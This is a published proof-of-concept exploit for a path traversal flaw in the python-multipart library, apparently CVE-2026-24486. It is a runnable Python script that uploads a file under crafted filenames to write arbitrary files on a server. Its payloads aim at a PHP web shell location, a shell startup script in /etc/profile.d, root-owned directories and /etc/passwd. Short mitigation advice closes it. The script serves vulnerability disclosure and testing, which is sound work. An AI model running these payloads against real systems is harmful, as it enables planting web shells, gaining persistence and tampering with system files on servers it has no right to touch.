Python-Multipart 0.0.22 – Path Traversal
# Exploit Title: Python-Multipart 0.0.22 - Path Traversal # Date: 2026-02-23 # Exploit Author: cardosource # Vendor Homepage: https://github.com/Kludex/python-multipart # Software Link: https://pypi.org/project/python-multipart/ # Version: < 0.0.22 (REQUIRED) # Tested on: Ubuntu / Python 3.13.5 / Docker (as root for demo) # CVE : CVE-2026-24486 """ PoC for CVE-2026-24486: Path Traversal in python-multipart when UPLOAD_KEEP_FILENAME=True + UPLOAD_DIR is configured. Allows arbitrary file write via malicious filename. """ import requests import time import os import sys TARGET_URL = "http://localhost:8000/upload" SOURCE_FILE = "/etc/hosts" # Small file to upload (content written to target) if not os.path.exists(SOURCE_FILE): print(f"[!] Source file not found: {SOURCE_FILE}") sys.exit(1) # Malicious filenames (payloads) payloads = [ "/tmp/poc-abs.txt", "/etc/poc-etc.txt", "/root/poc-root.txt", "../../var/www/html/shell.php", "../../etc/profile.d/mal.sh", "../../../tmp/poc-deep.txt", "../../etc/passwd%00.txt", "//etc//poc-double-slash.txt", ] print("[*] CVE-2026-24486 PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Using source file: {SOURCE_FILE}") print(f"[*] Testing {len(payloads)} payloads...\n") for i, filename in enumerate(payloads, 1): print(f"[{i}/{len(payloads)}] Testing: {filename}") try: files = { 'file': (filename, open(SOURCE_FILE, 'rb'), 'text/plain') } r = requests.post(TARGET_URL, files=files, timeout=8) print(f" Status: {r.status_code}") if r.text.strip(): print(f" Response: {r.text.strip()}") else: print(" Response: (empty)") except Exception as e: print(f" Error: {e}") print("-" * 50) time.sleep(1.0) print("\n[*] Done.") print("Verify files in container:") print(" docker exec -it vuln-poc find / -name '*poc*' -o -name '*shell*' 2>/dev/null") print("\nMitigation:") print(" - Upgrade: pip install python-multipart>=0.0.22") print(" - Avoid UPLOAD_KEEP_FILENAME=True") print(" - Sanitize: filename = os.path.basename(file.filename)") |